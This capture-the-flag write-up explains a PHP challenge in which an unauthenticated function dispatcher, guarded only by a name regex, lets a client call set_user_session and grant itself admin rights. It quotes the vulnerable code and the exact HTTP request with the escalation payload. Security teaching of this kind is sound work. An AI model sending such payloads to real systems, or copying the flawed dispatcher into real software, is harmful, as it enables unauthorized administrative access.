VaultSpace

Summary

We’ll use the app’s own public “function dispatcher” to call a state-changing helper that writes directly into $_SESSION. One request sets $_SESSION['admin']=true for our cookie, and then /dashboard.php shows the flag. No shell, no SQL, just an authorization check that trusts what the client can modify.

Start

The challenge ships a classic PHP stack with these relevant files:

  • api_handler.php — generic POST API gateway

  • functions.php — the functions that the gateway can call

  • dashboard.php — admin-only page that renders the flag

Two observations frame the whole exploit:

  1. A public dispatcher invokes server functions by name.

  2. One exported function writes session auth based on caller input.

Dispatcher (Entry point)

// api_handler.php
include 'functions.php';
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // $action and $params are read from JSON or form fields
    try {
        $result = safe_call_function($action, $params);
        echo json_encode(['status' => 'success', 'data' => $result]);
    } catch (Exception $e) {
        echo json_encode(['status' => 'error', 'message' => 'Operation failed']);
    }
}
  • No authentication sits in front of this entrypoint. Any POST is forwarded to safe_call_function.

  • Whatever we put in $action determines which server function runs. That’s huge power.

The “safety” check that isn’t authorization

function safe_call_function($function_name, $params = []) {
    if (!preg_match('/^(get_|check_|set_)[a-zA-Z0-9_]+$/', $function_name)) {
        throw new Exception("Invalid function name");
    }
    if (!function_exists($function_name)) {
        throw new Exception("Function '$function_name' does not exist.");
    }
    return call_user_func_array($function_name, $params);
}
  • The only gate is a regex on the name. That’s not a permission model.

  • If a sensitive routine starts with set_, it passes and becomes remotely callable.

  • call_user_func_array($fn, $params) uses our params to build the function’s arguments, so we control both which function runs and what it receives.

Where the privilege flip actually happens

function set_user_session($user_data) {
    $_SESSION['user_id'] = $user_data['id'];
    $_SESSION['username'] = $user_data['username'];
    $_SESSION['admin'] = (bool)($user_data['admin'] ?? false);
    return true;
}
  • Whatever we put in user_data['admin'] becomes the session’s admin bit.

  • No DB lookup, no signature, no role verification, just trust.

The admin check elsewhere simply reads that bit:

function check_admin_status() {
    return isset($_SESSION['admin']) && $_SESSION['admin'] == true;
}

And the dashboard gates by it and renders the flag:

// dashboard.php (simplified)
if (!check_admin_status()) { header('Location: login.php'); exit; }
<div class="flag-text">FahemSec{...}</div>

So if we can call set_user_session through the dispatcher and keep the same cookie, we’re in.

Steps for Exploitation

Open any page to establish a PHP session (keep the same cookie for the next requests).

GET /index.php HTTP/1.1
Host: 95.217.6.37:20000

2-Flip your session to admin via the dispatcher

Send a form-encoded POST that calls set_user_session with a single array argument. This shape makes PHP build params[0] as the $user_data array for call_user_func_array.

POST /api_handler.php HTTP/1.1
Host: 95.217.6.37:20000
Content-Type: application/json

{"action":"set_user_session","params":[{"id":999,"username":"admin","admin":1}]}

response
{"status":"success","data":true}

Under the hood:

  • The regex allows set_user_session.

  • call_user_func_array('set_user_session', [ {id, username, admin:1} ]) runs.

  • (bool)1 becomes true$_SESSION['admin']=true for your current cookie.

Then visit /dashboard and you should see the flag

Last updated

Was this helpful?